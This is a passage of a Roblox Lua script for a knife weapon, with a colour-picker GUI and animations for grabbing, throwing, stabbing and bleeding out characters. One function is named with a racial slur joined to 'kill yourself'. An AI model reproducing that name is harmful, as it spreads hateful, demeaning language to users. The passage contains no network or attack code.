UDim2.new(0.200000003, 0, 0.075000003, 0) GreenInput.Font = Enum.Font.SourceSans GreenInput.FontSize = Enum.FontSize.Size14 GreenInput.Text = "255" GreenInput.TextColor3 = Color3.new(1, 1, 1) GreenInput.TextSize = 14 GreenInput.TextStrokeTransparency = 0 TransInput.Name = "TransInput" TransInput.Parent = CustomizeGui TransInput.BackgroundColor3 = Color3.new(0.137255, 0.137255, 0.137255) TransInput.BackgroundTransparency = 0.5 TransInput.BorderSizePixel = 0 TransInput.Position = UDim2.new(0.419999987, 0, 0.725000024, 0) TransInput.Size = UDim2.new(0.200000003, 0, 0.075000003, 0) TransInput.Font = Enum.Font.SourceSans TransInput.FontSize = Enum.FontSize.Size14 TransInput.Text = "50" TransInput.TextColor3 = Color3.new(1, 1, 1) TransInput.TextSize = 14 TransInput.TextStrokeTransparency = 0 BlueInput.Name = "BlueInput" BlueInput.Parent = CustomizeGui BlueInput.BackgroundColor3 = Color3.new(0.137255, 0.137255, 0.137255) BlueInput.BackgroundTransparency = 0.5 BlueInput.BorderSizePixel = 0 BlueInput.Position = UDim2.new(0.419999987, 0, 0.625, 0) BlueInput.Size = UDim2.new(0.200000003, 0, 0.075000003, 0) BlueInput.Font = Enum.Font.SourceSans BlueInput.FontSize = Enum.FontSize.Size14 BlueInput.Text = "255" BlueInput.TextColor3 = Color3.new(1, 1, 1) BlueInput.TextSize = 14 BlueInput.TextStrokeTransparency = 0 Message.Name = "Message" Message.Parent = CustomizeGui Message.BackgroundColor3 = Color3.new(1, 1, 1) Message.BackgroundTransparency = 1 Message.Position = UDim2.new(0, 0, 0.2500004, 0) Message.Size = UDim2.new(1, 0, 0.100000006, 0) Message.Font = Enum.Font.SourceSans Message.FontSize = Enum.FontSize.Size18 Message.Text = "|| Inputs must be values ||" Message.TextColor3 = Color3.new(1, 1, 1) Message.TextScaled = true Message.TextSize = 15 Message.TextStrokeTransparency = 0.75 Message.TextWrapped = true local attun = Instance.new("Attachment", knife) attun.Position = Vector3.new(0, 0.1, -1.75) local atdos = Instance.new("Attachment", knife) atdos.Position = Vector3.new(0, -0.1, 0.5) local trail = Instance.new("Trail", knife) trail.LightEmission = 0.5 trail.Attachment0 = attun trail.Attachment1 = atdos trail.Lifetime = 0.175 trail.MinLength = 0 trail.Enabled = false function updatez() local rc = tonumber(RedInput.Text) local gc = tonumber(GreenInput.Text) local bc = tonumber(BlueInput.Text) local tcupd = tonumber(TransInput.Text) if rc == nil then rc = 0 end if gc == nil then gc = 0 end if bc == nil then bc = 0 end if tcupd == nil then tcupd = 0 end local tc = tcupd/100 Color.BackgroundColor3 = Color3.fromRGB(rc,gc,bc) ClosestColor.Text = "Your color is closest to "..tostring(BrickColor.new(Color3.fromRGB(rc,gc,bc))) obj32.Color = Color3.fromRGB(rc,gc,bc) obj33.Color = Color3.fromRGB(rc,gc,bc) obj34.Color = Color3.fromRGB(rc,gc,bc) obj35.Color = Color3.fromRGB(rc,gc,bc) obj36.Color = Color3.fromRGB(rc,gc,bc) obj37.Color = Color3.fromRGB(rc,gc,bc) obj38.Color = Color3.fromRGB(rc,gc,bc) trail.Color = ColorSequence.new(Color3.fromRGB(rc, gc, bc)) trail.Transparency = NumberSequence.new(tc) TrailTransparency.TextStrokeTransparency = tc end RedInput.Changed:connect(function(val) if val == "Text" and tonumber(RedInput.Text) then RedInput.Text = tostring(tonumber(RedInput.Text)) if tonumber(RedInput.Text) > 255 then RedInput.Text = '255' end elseif val == "Text" then RedInput.Text = "" end updatez() end) GreenInput.Changed:connect(function(val) if val == "Text" and tonumber(GreenInput.Text) then GreenInput.Text = tostring(tonumber(GreenInput.Text)) if tonumber(GreenInput.Text) > 255 then GreenInput.Text = '255' end elseif val == "Text" then GreenInput.Text = "" end updatez() end) BlueInput.Changed:connect(function(val) if val == "Text" and tonumber(BlueInput.Text) then BlueInput.Text = tostring(tonumber(BlueInput.Text)) if tonumber(BlueInput.Text) > 255 then BlueInput.Text = '255' end elseif val == "Text" then BlueInput.Text = "" end updatez() end) TransInput.Changed:connect(function(val) if val == "Text" and tonumber(TransInput.Text) then TransInput.Text = tostring(tonumber(TransInput.Text)) if tonumber(TransInput.Text) > 100 then TransInput.Text = '100' end elseif val == "Text" then TransInput.Text = "" end updatez() end) Close.MouseButton1Click:connect(function() if lerpz == false then lerpz = true if Close.Text ~= "+" then CustomizeGui:TweenPosition(UDim2.new(-0.45,0,0.5,0,Enum.EasingDirection.Out,Enum.EasingStyle.Quint,2)) for i=1,10 do Close.TextTransparency = i/10 Close.TextStrokeTransparency = i/10 wait(0.01) end Close.Text = "+" for i=1,10 do Close.TextTransparency = (10-i+1)/10 Close.TextStrokeTransparency = (10-i+1)/10 wait(0.01) end lerpz = false else CustomizeGui:TweenPosition(UDim2.new(0,0,0.5,0,Enum.EasingDirection.Out,Enum.EasingStyle.Quint,2)) for i=1,10 do Close.TextTransparency = i/10 Close.TextStrokeTransparency = i/10 wait(0.01) end Close.Text = "X" for i=1,10 do Close.TextTransparency = (10-i+1)/10 Close.TextStrokeTransparency = (10-i+1)/10 wait(0.01) end lerpz = false end end end) MusicOption.MouseButton1Click:connect(function() if canbackgroundmusic == true then canbackgroundmusic = false MusicOption.BackgroundColor3 = Color3.new(1, 0, 0) else canbackgroundmusic = true MusicOption.BackgroundColor3 = Color3.new(0, 1, 0) end end) ScreenOption.MouseButton1Click:connect(function() if cancolorfilter == true then cancolorfilter = false ScreenOption.BackgroundColor3 = Color3.new(1, 0, 0) else cancolorfilter = true ScreenOption.BackgroundColor3 = Color3.new(0, 1, 0) end end) function equip() local doit = coroutine.wrap(function() if me:FindFirstChild('Right Arm') and me:FindFirstChild('Torso') then acting = true local arm = me["Right Arm"] local arm2 = me["Left Arm"] local tors = me.Torso local weld = Instance.new('Weld',arm) weld.Part0 = arm weld.Part1 = tors weld.C0 = CFrame.new(-1.5,0,0) local weld2 = Instance.new("Weld", arm2) weld2.Part0 = arm2 weld2.Part1 = tors weld2.C0 = CFrame.new(1.5, 0, 0) wait(0.001) for i = 0,1,0.1 do if me:FindFirstChild('Right Arm') == nil or me:FindFirstChild('Torso') == nil or weld == nil then return end weld.C0 = weld.C0:lerp(CFrame.new(-0.2,0.2,-0.5)*CFrame.Angles(0,-3.1,0.9),i) weld2.C0 = weld2.C0:lerp(CFrame.new(1.5, 0.6, 0) * CFrame.Angles(0,0,0.5),i) wait(0.001) end wait(0.15) trail.Enabled = true for i = 0,1,0.1 do if me:FindFirstChild('Right Arm') == nil or me:FindFirstChild('Torso') == nil or weld == nil then return end weld.C0 = weld.C0:lerp(CFrame.new(-0.5,2,0)*CFrame.Angles(0,0,-1.55),i) weld2.C0 = weld2.C0:lerp(CFrame.new(1.5, 0, 0), i) wait(0.001) end trail.Enabled = false wait(0.2) for i = 0,1,0.1 do if me:FindFirstChild('Right Arm') == nil or me:FindFirstChild('Torso') == nil or weld == nil then return end weld.C0 = weld.C0:lerp(CFrame.new(-1.5,0,0),i) wait(0.001) end weld:Destroy() weld2:Remove() if tors ~= nil then rightshoulderz:Clone().Parent = me.Torso leftshoulderz:Clone().Parent = me.Torso end end acting = false end) doit() end function kysnigga() if kyssing == true then return end kyssing = true acting = true decearingTHING = math.random(1, 100) if decearingTHING == 4 then decearingEGG = Instance.new("Sound", me.Torso) decearingEGG.SoundId = "rbxassetid://138084557" decearingEGG.PlaybackSpeed = math.random(10, 12) / 10 decearingEGG.TimePosition = 0.2 decearingEGG:Play() end me.Humanoid.WalkSpeed = 0 me.Humanoid.JumpPower = 0 local rightarm = Instance.new("Weld", me.Torso) rightarm.Part0 = me.Torso rightarm.Part1 = me["Right Arm"] rightarm.C0 = CFrame.Angles(0, 0, 0) * CFrame.new(1.5, 0, 0) local leftarm = Instance.new("Weld", me.Torso) leftarm.Part0 = me.Torso leftarm.Part1 = me["Left Arm"] leftarm.C0 = CFrame.Angles(0, 0, 0) * CFrame.new(-1.5, 0, 0) local tors = Instance.new("Weld", me.HumanoidRootPart) tors.Part0 = me.HumanoidRootPart tors.Part1 = me.Torso tors.C0 = CFrame.Angles(0, 0, 0) * CFrame.new(0, 0, 0) local rightleg = Instance.new("Weld", me.Torso) rightleg.Part0 = me.Torso rightleg.Part1 = me["Right Leg"] rightleg.C0 = CFrame.Angles(0, 0, 0) * CFrame.new(0.5, -2, 0) local leftleg = Instance.new("Weld", me.Torso) leftleg.Part0 = me.Torso leftleg.Part1 = me["Left Leg"] leftleg.C0 = CFrame.Angles(0, 0, 0) * CFrame.new(-0.5, -2, 0) for i = 0, 1, 0.03 do tors.C0 = tors.C0:lerp(CFrame.new(0, -1.5, 0) * CFrame.Angles(math.rad(-10), 0, 0), i) leftleg.C0 = leftleg.C0:lerp(CFrame.new(-0.5, -1, 0) * CFrame.Angles(math.rad(-80), 0, 0), i) rightleg.C0 = rightleg.C0:lerp(CFrame.new(0.5, -1, 0) * CFrame.Angles(math.rad(-80), 0, 0), i) rightarm.C0 = rightarm.C0:lerp(CFrame.new(1.5, 0, 0) * CFrame.Angles(math.rad(0), math.rad(0), 0), i) wait() end for i = 0, 1, 0.03 do tors.C0 = tors.C0:lerp(CFrame.new(0, -1.5, 0) * CFrame.Angles(math.rad(5), 0, 0), i) leftleg.C0 = leftleg.C0:lerp(CFrame.new(-0.5, -1, 0.15) * CFrame.Angles(math.rad(-95), 0, 0), i) rightleg.C0 = rightleg.C0:lerp(CFrame.new(0.5, -1, 0.15) * CFrame.Angles(math.rad(-95), 0, 0), i) rightarm.C0 = rightarm.C0:lerp(CFrame.new(1, 0.3, -1.5) * CFrame.Angles(math.rad(90), 0, math.rad(-35)), i) leftarm.C0 = leftarm.C0:lerp(CFrame.new(-1, 0.3, -1.5) * CFrame.Angles(math.rad(90), 0, math.rad(35)), i) knifeweld.C1 = knifeweld.C1:lerp(CFrame.new(1.35, 0, 1) * CFrame.Angles(1.55, math.rad(-180), 1), i) wait() end local bleedzer = Instance.new('Part',me.Torso) bleedzer.CFrame = me.Torso.CFrame bleedzer.Size = Vector3.new(0.1,0.1,0.1) bleedzer.Transparency = 1 bleedzer.CanCollide = false local weld = Instance.new('Weld',bleedzer) weld.Part0 = bleedzer weld.Part1 = me.Torso weld.C0= CFrame.new(0,0,0)*CFrame.Angles(math.rad(-90),0,0) local woodpekker = coroutine.wrap(function() bleed(bleedzer) end) woodpekker() audio.SoundId = "rbxassetid://199977936" audio.PlaybackSpeed = 1.5 audio:Play() audio2.SoundId = "rbxassetid://220834019" audio2.PlaybackSpeed = 1 audio2.TimePosition = 0.1 audio2:Play() for i = 0, 1, 0.1 do tors.C0 = tors.C0:lerp(CFrame.new(0, -1.5, 0) * CFrame.Angles(math.rad(-20), 0, 0), i) leftleg.C0 = leftleg.C0:lerp(CFrame.new(-0.5, -1, -0.35) * CFrame.Angles(math.rad(-70), 0, 0), i) rightleg.C0 = rightleg.C0:lerp(CFrame.new(0.5, -1, -0.35) * CFrame.Angles(math.rad(-70), 0, 0), i) rightarm.C0 = rightarm.C0:lerp(CFrame.new(1, 0, 0) * CFrame.Angles(math.rad(70), 0, math.rad(-35)), i) leftarm.C0 = leftarm.C0:lerp(CFrame.new(-1, 0, 0) * CFrame.Angles(math.rad(70), 0, math.rad(35)), i) knifeweld.C1 = knifeweld.C1:lerp(CFrame.new(1.35, 0, 1) * CFrame.Angles(1.55, math.rad(-180), 1), i) wait() end wait(1) audio.SoundId = "rbxassetid://210943487" audio.TimePosition = 0.2 audio.PlaybackSpeed = 0.75 audio:Play() for i = 0, 1, 0.03 do tors.C0 = tors.C0:lerp(CFrame.new(0, -1.5, 0) * CFrame.Angles(math.rad(-20), 0, 0), i) leftleg.C0 = leftleg.C0:lerp(CFrame.new(-0.5, -1, -0.35) * CFrame.Angles(math.rad(-70), 0, 0), i) rightleg.C0 = rightleg.C0:lerp(CFrame.new(0.5, -1, -0.35) * CFrame.Angles(math.rad(-70), 0, 0), i) rightarm.C0 = rightarm.C0:lerp(CFrame.new(1, 0.3, -1.5) * CFrame.Angles(math.rad(70), 0, math.rad(-35)), i) leftarm.C0 = leftarm.C0:lerp(CFrame.new(-1, 0.3, -1.5) * CFrame.Angles(math.rad(70), 0, math.rad(35)), i) knifeweld.C1 = knifeweld.C1:lerp(CFrame.new(1.35, 0, 1) * CFrame.Angles(1.55, math.rad(-180), 1), i) wait() end for i = 0, 1, 0.03 do rightarm.C0 = rightarm.C0:lerp(CFrame.new(1.5, 0, -0.4) * CFrame.Angles(math.rad(30), 0, math.rad(0)), i) leftarm.C0 = leftarm.C0:lerp(CFrame.new(-1.5, 0, -0.4) * CFrame.Angles(math.rad(30), 0, math.rad(0)), i) knifeweld.C1 = knifeweld.C1:lerp(CFrame.fromEulerAnglesXYZ(1.55, math.rad(-90), 1.55) * CFrame.new(0, 0.95, 0), i) wait() end wait(0.24) if me:FindFirstChildOfClass('Humanoid') then me:FindFirstChildOfClass('Humanoid').Health = 0 end wait(0.01) killz(me,me.Torso.Name,nil,nil,true) tors:Remove() rightarm:Remove() rightleg:Remove() leftleg:Remove() leftarm:Remove() rightshoulderz:Clone().Parent = me.Torso leftshoulderz:Clone().Parent = me.Torso torsojoint:Clone().Parent = me.HumanoidRootPart lefthipz:Clone().Parent = me.Torso righthipz:Clone().Parent = me.Torso me.Humanoid.JumpPower = 50 me.Humanoid.WalkSpeed = 16 acting = false canClick = true doing = false hit = false kyssing = false if decearingTHING == 4 then decearingEGG:Remove() end end function bleedout() local doit = coroutine.wrap(function() local targe = grabbed local num = 0 while targe and targe:FindFirstChildOfClass('Humanoid') and targe:FindFirstChildOfClass('Humanoid').Health > 0 and num < 11 do if targe.Head:FindFirstChild('Died') then tone = math.random(6, 12) / 10 targe.Head.Died.PlaybackSpeed = tone targe.Head.Died:Play() else local deathsound = Instance.new('Sound',targe.Head) deathsound.Name = "Died" deathsound.SoundId = 'rbxasset://sounds/uuhhh.mp3' deathsound.Volume = 0.65 deathsound.EmitterSize = 5 deathsound.MaxDistance = 150 tone = math.random(5, 15) / 10 targe.Head.Died.PlaybackSpeed = tone targe.Head.Died:Play() end targe:FindFirstChildOfClass('Humanoid').Health = targe:FindFirstChildOfClass('Humanoid').Health - 7 num = num+1 wait(0.325) end targe:FindFirstChildOfClass('Humanoid').Health = 0 wait() killz(targe,'Head',nil,nil,false,true) wait(2) targe:Remove() end) doit() end function liedown() local doit = coroutine.wrap(function() local targe = grabbed wait(2) if targe and targe:FindFirstChildOfClass('Humanoid') then targe:FindFirstChildOfClass('Humanoid').PlatformStand = false end end) doit() end function grab() local doit = coroutine.wrap(function() acting = true me:FindFirstChildOfClass('Humanoid').WalkSpeed = me:FindFirstChildOfClass('Humanoid').WalkSpeed + 3 local arm = me["Right Arm"] local tors = me.Torso local arm2 = me["Left Arm"] local humanroot = me.HumanoidRootPart local weld2 = Instance.new('Weld',arm) weld2.Part0 = arm weld2.Part1 = tors weld2.C0 = CFrame.new(-1.5,0,0) * CFrame.Angles(0, 0, 0) local weld3 = Instance.new('Weld',arm2) weld3.Part0 = arm2 weld3.Part1 = tors weld3.C0 = CFrame.new(1.5,0,-0.3) * CFrame.Angles(0.3,0.1,0) for i = 0,1,0.05 do if me:FindFirstChild('Right Arm') == nil or me:FindFirstChild('Torso') == nil or weld2 == nil or humanroot == nil then return end weld2.C0 = weld2.C0:lerp(CFrame.new(-1.2,1.3,0.4)*CFrame.Angles(0.5,0,-1.2),i) weld3.C0 = weld3.C0:lerp(CFrame.new(1.2,1.3,0)*CFrame.Angles(0,0,1.2),i) knifeweld.C1 = CFrame.fromEulerAnglesXYZ(1.55, math.rad(-90), -1.55) * CFrame.new(0, 0.95, 0) wait(0.01) end grabbing = true trail.Enabled = true for i = 0,1,0.10 do if me:FindFirstChild('Right Arm') == nil or me:FindFirstChild('Torso') == nil or weld2 == nil or humanroot == nil then return end weld2.C0 = weld2.C0:lerp(CFrame.new(-0.9, 0.80, -1.1)* CFrame.Angles(-1.5, 0, -1.3), i) weld3.C0 = weld3.C0:lerp(CFrame.new(0.8, 1, -0.5)* CFrame.Angles(-1.5, 0, 1.1), i) wait(0.01) end trail.Enabled = false wait(0.5) grabbing = false me:FindFirstChildOfClass('Humanoid').WalkSpeed = me:FindFirstChildOfClass('Humanoid').WalkSpeed - 3 if grabbed == nil then for i = 0,1,0.1 do if me:FindFirstChild('Right Arm') == nil or me:FindFirstChild('Torso') == nil then return end weld2.C0 = weld2.C0:lerp(CFrame.new(-1.5,0,0),i) weld3.C0 = weld3.C0:lerp(CFrame.new(1.5,0,0),i) knifeweld.C1 = CFrame.fromEulerAnglesXYZ(1.55, math.rad(-90), 1.55) * CFrame.new(0, 0.95, 0) wait(0.001) end weld2:Destroy() weld3:Destroy() rightshoulderz:Clone().Parent = me.Torso leftshoulderz:Clone().Parent = me.Torso acting = false canClick = true end end) doit() end function kill() paralyzed = false if grabbed.Torso:FindFirstChild("TargetWeld") == nil or grabbed:FindFirstChildOfClass('Humanoid').Health <= 0 then hardrelease() return end targetweld = grabbed.Torso.TargetWeld targetweld2 = nil local reee = grabbed:FindFirstChild("Left Arm") if reee and reee:FindFirstChild("Weld") then targetweld2 = reee.Weld end for i, v in pairs(grabbed:GetChildren()) do if v.Name == "Part" then v.CanCollide = true end end targetweld3pt = grabbed:FindFirstChild("Right Arm") local targetrightshoulder = rightshoulder local targetleftshoulder = leftshoulder local targetweld3 = Instance.new("Weld", targetweld3pt) targetweld3.Part0 = grabbed.Torso targetweld3.Part1 = targetweld3pt targetweld3.C0 = CFrame.Angles(0, 0, 0) * CFrame.new(1.5, 0, 0) local doit = coroutine.wrap(function() local arm = me["Right Arm"] local tors = grabbed.Torso local arm2 = me["Left Arm"] if arm:FindFirstChildOfClass('Weld') == nil or arm2:FindFirstChildOfClass('Weld') == nil then return end doing = true local weld2 = arm:FindFirstChildOfClass('Weld') local weld3 = arm2:FindFirstChildOfClass('Weld') local humanroot = me.HumanoidRootPart for i = 0,1,0.1 do if me:FindFirstChild('Right Arm') == nil or me:FindFirstChild('Torso') == nil or weld2 == nil or weld3 == nil then return end weld2.C0 = weld2.C0:lerp(CFrame.new(-0.9, 0.80, -1.1)* CFrame.Angles(-1.9, 0, -1.4), i) weld3.C0 = weld3.C0:lerp(CFrame.new(0.8, 0.5, -0.5)* CFrame.Angles(-1.5, 0.4, 1.1), i) wait(0.01) end audio:Stop() audio.SoundId = "rbxassetid://517040733" tone = math.random(1, 3) if tone == 1 then audio.PlaybackSpeed = 0.8 audio.TimePosition = 0.3 end if tone == 2 then audio.PlaybackSpeed = 1 audio.TimePosition = 0.1 end if tone == 3 then audio.PlaybackSpeed = 1.2 audio.TimePosition = 0.2 end audio:Play() local bleedpart = Instance.new("Part", grabbed) bleedpart.Size = Vector3.new(0.2, 0.2, 0.2) bleedpart.Color = Color3.new(115/225, 115/225, 115/225) bleedpart.CanCollide = false bleedpart.Position = grabbed.Head.Position + Vector3.new(0, 1, 0) bleedpart.Transparency = 1 local bleedpartweld = Instance.new("Weld", grabbed.Torso) bleedpartweld.Part0 = grabbed.Torso bleedpartweld.Part1 = bleedpart bleedpartweld.C0 = CFrame.Angles(-1, 0, -0.35) * CFrame.new(0, 1, 0.8) local coru=coroutine.wrap(function() bleed(bleedpart) end) coru() local slightthrow = Instance.new("BodyThrust", grabbed.Torso) slightthrow.Force = Vector3.new(0, 0, -2500) local slightthrow2 = Instance.new("BodyAngularVelocity", grabbed.Torso) slightthrow2.AngularVelocity = Vector3.new(0, -1000, 0) slightthrow2.MaxTorque = Vector3.new(1000, 1000, 1000) if grabbed:FindFirstChildOfClass('Humanoid') then grabbed:FindFirstChildOfClass('Humanoid').PlatformStand = true end killz(grabbed,'Left Leg') killz(grabbed,'Left Arm') killz(grabbed,'Right Leg') killz(grabbed,'Right Arm') trail.Enabled = true for i = 0,1,0.2 do if me:FindFirstChild('Right Arm') == nil or me:FindFirstChild('Torso') == nil or weld2 == nil or weld3 == nil then return end weld2.C0 = weld2.C0:lerp(CFrame.new(-0.9, 1.7, -0.5)* CFrame.Angles(-0.25, 0, -1.4), i) weld3.C0 = weld3.C0:lerp(CFrame.new(0.8, 1.6, -0.5)* CFrame.Angles(-1.5, -1, 1.1), i) wait(0.01) end trail.Enabled = false bleedout() rightshoulderz:Clone().Parent = me.Torso leftshoulderz:Clone().Parent = me.Torso grabbed = nil if humanroot:FindFirstChild('Holder') then humanroot.Holder:Destroy() end wait(0.2) slightthrow:Remove() slightthrow2:Remove() for i = 0,1,0.05 do if me:FindFirstChild('Right Arm') == nil or me:FindFirstChild('Torso') == nil or weld2 == nil or weld3 == nil then return end weld2.C0 = weld2.C0:lerp(CFrame.new(-1.5, 0, 0)* CFrame.Angles(0, 0, 0), i) weld3.C0 = weld3.C0:lerp(CFrame.new(1.5, 0, 0)* CFrame.Angles(0, 0, 0), i) knifeweld.C1 = CFrame.fromEulerAnglesXYZ(1.55, math.rad(-90), 1.55) * CFrame.new(0, 0.95, 0) wait(0.01) end weld2:Destroy() weld3:Destroy() targetweld = nil targetweld2 = nil targetweld3 = nil rightshoulderz:Clone().Parent = me.Torso leftshoulderz:Clone().Parent = me.Torso acting = false canClick = true doing = false end) doit() end function finish() if finishing == true then return end finishing = true acting = true decearingTHING = math.random(1, 100) if decearingTHING == 4 then decearingEGG = Instance.new("Sound", me.Torso) decearingEGG.SoundId = "rbxassetid://138084557" decearingEGG.PlaybackSpeed = math.random(10, 12) / 10 decearingEGG.TimePosition = 0.2 decearingEGG:Play() end me.Humanoid.WalkSpeed = 0 me.Humanoid.JumpPower = 0 local rightarm = Instance.new("Weld", me.Torso) rightarm.Part0 = me.Torso rightarm.Part1 = me["Right Arm"] rightarm.C0 = CFrame.Angles(0, 0, 0) * CFrame.new(1.5, 0, 0) local tors = Instance.new("Weld", me.HumanoidRootPart) tors.Part0 = me.HumanoidRootPart tors.Part1 = me.Torso tors.C0 = CFrame.Angles(0, 0, 0) * CFrame.new(0, 0, 0) local rightleg = Instance.new("Weld", me.Torso) rightleg.Part0 = me.Torso rightleg.Part1 = me["Right Leg"] rightleg.C0 = CFrame.Angles(0, 0, 0) * CFrame.new(0.5, -2, 0) local leftleg = Instance.new("Weld", me.Torso) leftleg.Part0 = me.Torso leftleg.Part1 = me["Left Leg"] leftleg.C0 = CFrame.Angles(0, 0, 0) * CFrame.new(-0.5, -2, 0) for i = 0, 1, 0.05 do tors.C0 = tors.C0:lerp(CFrame.new(0, 0, 0) * CFrame.Angles(math.rad(15), 0, 0), i) leftleg.C0 = leftleg.C0:lerp(CFrame.new(-0.5, -2, 0.2) * CFrame.Angles(math.rad(-15), 0, 0), i) rightleg.C0 = rightleg.C0:lerp(CFrame.new(0.5, -2, 0.2) * CFrame.Angles(math.rad(-15), 0, 0), i) rightarm.C0 = rightarm.C0:lerp(CFrame.new(1.5, 1.9, 0) * CFrame.Angles(math.rad(179), math.rad(179), 0), i) wait() end for i=1,finishnum do local num1 = 0.5 local num2 = 0.5 local num3 = 0.25 if finishnum ~= 1 then num3 = 0 end trail.Enabled = true for i = 0, 1, num1 do tors.C0 = tors.C0:lerp(CFrame.new(0, -1.5, 0) * CFrame.Angles(math.rad(-60), 0, 0), i) leftleg.C0 = leftleg.C0:lerp(CFrame.new(-0.5, -1.5, 0) * CFrame.Angles(math.rad(0), 0, 0), i) rightleg.C0 = rightleg.C0:lerp(CFrame.new(0.5, -0.7, -1) * CFrame.Angles(math.rad(10), 0, 0), i) rightarm.C0 = rightarm.C0:lerp(CFrame.new(1.5, 1.9, -1) * CFrame.Angles(math.rad(160), math.rad(150), 0), i) wait() end wait() for i = 0, 1, num2 do tors.C0 = tors.C0:lerp(CFrame.new(0, -1, 0) * CFrame.Angles(math.rad(-20), 0, 0), i) leftleg.C0 = leftleg.C0:lerp(CFrame.new(-0.5, -1.5, 0) * CFrame.Angles(math.rad(-30), 0, 0), i) rightleg.C0 = rightleg.C0:lerp(CFrame.new(0.5, -0.7, -1) * CFrame.Angles(math.rad(-20), 0, 0), i) rightarm.C0 = rightarm.C0:lerp(CFrame.new(1.5, 1.9, 0.2) * CFrame.Angles(math.rad(250), math.rad(180), 0), i) wait() end trail.Enabled = false wait(num3) end wait() for i = 0, 1, 0.05 do tors.C0 = tors.C0:lerp(CFrame.new(0, 0, 0) * CFrame.Angles(0, 0, 0), i) leftleg.C0 = leftleg.C0:lerp(CFrame.new(-0.5, -2, 0) * CFrame.Angles(0, 0, 0), i) rightleg.C0 = rightleg.C0:lerp(CFrame.new(0.5, -2, 0) * CFrame.Angles(0, 0, 0), i) rightarm.C0 = rightarm.C0:lerp(CFrame.new(1.5, 0, 0) * CFrame.Angles(0, 0, 0), i) wait() end tors:Remove() rightarm:Remove() rightleg:Remove() leftleg:Remove() rightshoulderz:Clone().Parent = me.Torso leftshoulderz:Clone().Parent = me.Torso torsojoint:Clone().Parent = me.HumanoidRootPart lefthipz:Clone().Parent = me.Torso righthipz:Clone().Parent = me.Torso me.Humanoid.JumpPower = 50 me.Humanoid.WalkSpeed = 16 acting = false canClick = true doing = false hit = false finishing = false if decearingTHING == 4 then decearingEGG:Remove() end end function throw() if grabbed.Torso:FindFirstChild("TargetWeld") == nil or grabbed:FindFirstChildOfClass('Humanoid').Health <= 0 then return end paralyzed = false targetweld = grabbed.Torso.TargetWeld local ree = grabbed:FindFirstChild("Left Arm") targetweld2 =nil if ree and ree:FindFirstChild("Weld") then targetweld2 = ree.Weld end for i, v in pairs(grabbed:GetChildren()) do if v.Name == "Part" then v.CanCollide = true end end local doit = coroutine.wrap(function() local arm = me["Right Arm"] local tors = grabbed.Torso local arm2 = me["Left Arm"] local targrightshoulder = rightshoulder local targleftshoulder = leftshoulder if arm:FindFirstChildOfClass('Weld') == nil or arm2:FindFirstChildOfClass('Weld') == nil then return end doing = true local weld2 = arm:FindFirstChildOfClass('Weld') local weld3 = arm2:FindFirstChildOfClass('Weld') local humanroot = me.HumanoidRootPart for i = 0,1,0.2 do if me:FindFirstChild('Right Arm') == nil or me:FindFirstChild('Torso') == nil or weld2 == nil or weld3 == nil then return end weld2.C0 = weld2.C0:lerp(CFrame.new(-0.9, 1.7, -0.5)* CFrame.Angles(-0.25, 1, -1.4), i) weld3.C0 = weld3.C0:lerp(CFrame.new(0.8, 1.6, -0.5)* CFrame.Angles(-1.5, -1, 1.1), i) targetweld.C0 = targetweld.C0:lerp(CFrame.new(0, 1.5, 0)*CFrame.Angles(0, 0, 0), i) if targetweld2 then targetweld2.C0 = targetweld2.C0:lerp(CFrame.new(-1.5, 0, 0)*CFrame.Angles(0, 0, 0), i) end wait(0.01) end audio:Stop() audio.SoundId = "rbxassetid://536642316" tone = math.random(1, 3) if tone == 1 then audio.PlaybackSpeed = 0.8 audio.TimePosition = 0.08 end if tone == 2 then audio.PlaybackSpeed = 1 audio.TimePosition = 0.1 end if tone == 3 then audio.PlaybackSpeed = 1.2 audio.TimePosition = 0.12 end audio:Play() local slightthrow = Instance.new("BodyVelocity", grabbed.Torso) slightthrow.Velocity = Vector3.new(0,20,0)+(me.Torso.CFrame.lookVector*20) slightthrow.P = 5000 slightthrow.MaxForce = Vector3.new(9000001,9000001,9000001) local point = grabbed.Torso.Position local aaaaaa = grabbed liedown() rightshoulderz:Clone().Parent = me.Torso leftshoulderz:Clone().Parent = me.Torso grabbed = nil if humanroot:FindFirstChild('Holder') then humanroot.Holder:Destroy() end local coru = coroutine.wrap(function() while aaaaaa and aaaaaa:FindFirstChild('Torso') and (aaaaaa.Torso.Position-point).magnitude < 5 do wait(0.001) end slightthrow:Remove() end) coru() for i = 0,1,0.05 do if me:FindFirstChild('Right Arm') == nil or me:FindFirstChild('Torso') == nil or weld2 == nil or weld3 == nil then return end weld2.C0 = weld2.C0:lerp(CFrame.new(-1.5,0,0),i) weld3.C0 = weld3.C0:lerp(CFrame.new(1.5,0,0),i) wait(0.01) end weld2:Destroy() weld3:Destroy() targetweld:Remove() if targetweld2 then targetweld2:Remove() end if rightshoulder then rightshoulder:Clone().Parent = tors end if leftshoulder then leftshoulder:Clone().Parent = tors end headweld:Clone().Parent = tors rightshoulderz:Clone().Parent = me.Torso leftshoulderz:Clone().Parent = me.Torso acting = false canClick = true doing = false end) doit() end cfn,ang,mr,int=CFrame.new,CFrame.Angles,math.rad,Instance.new bc=BrickColor.new local minimumsize = Vector3.new(0.7,0.7,0.7) local surface_between_splitted_parts = 'SmoothNoOutlines' local fragmentable = workspace local list = {} local brickcount = 0 local storage = {} local fillup = 1000 local maximumstorage = 2000 local storage_position = Vector3.new(0,0,5000) local stored_partsize = Vector3.new(1,1,1) local parts_created_per_frame = 5 local minimumsize = Vector3.new(0.7,0.7,0.7) local surface_between_splitted_parts = 'SmoothNoOutlines' local fragmentable = workspace local list = {} local brickcount = 0 local storage = {} local fillup = 1000 local maximumstorage = 2000 local storage_position = Vector3.new(0,0,5000) local stored_partsize = Vector3.new(1,1,1) local parts_created_per_frame = 5 function fragmentate(cframe,size,color,explosion_position,explosion_blastradius,backsurface,bottomsurface,frontsurface,leftsurface,rightsurface,topsurface,transparency,reflectance,material) local xi = size.X >= minimumsize.X*(1+explosion_blastradius/16) and 2 or 1 local yi = size.Y >= minimumsize.Y*(1+explosion_blastradius/16) and 2 or 1 local zi = size.Z >= minimumsize.Z*(1+explosion_blastradius/16) and 2 or 1 if xi == 1 and yi == 1 and zi == 1 or (cframe.p-explosion_position).magnitude > size.magnitude/2 + explosion_blastradius then if xi == 1 and yi == 1 and zi == 1 then return end if #storage > 0 then local p = storage[1] p.BrickColor = color p.Size = size p.Anchored = false p.BackSurface = backsurface p.BottomSurface = bottomsurface p.FrontSurface = frontsurface p.LeftSurface = leftsurface p.RightSurface = rightsurface p.TopSurface = topsurface p.Transparency = transparency p.CFrame = cframe 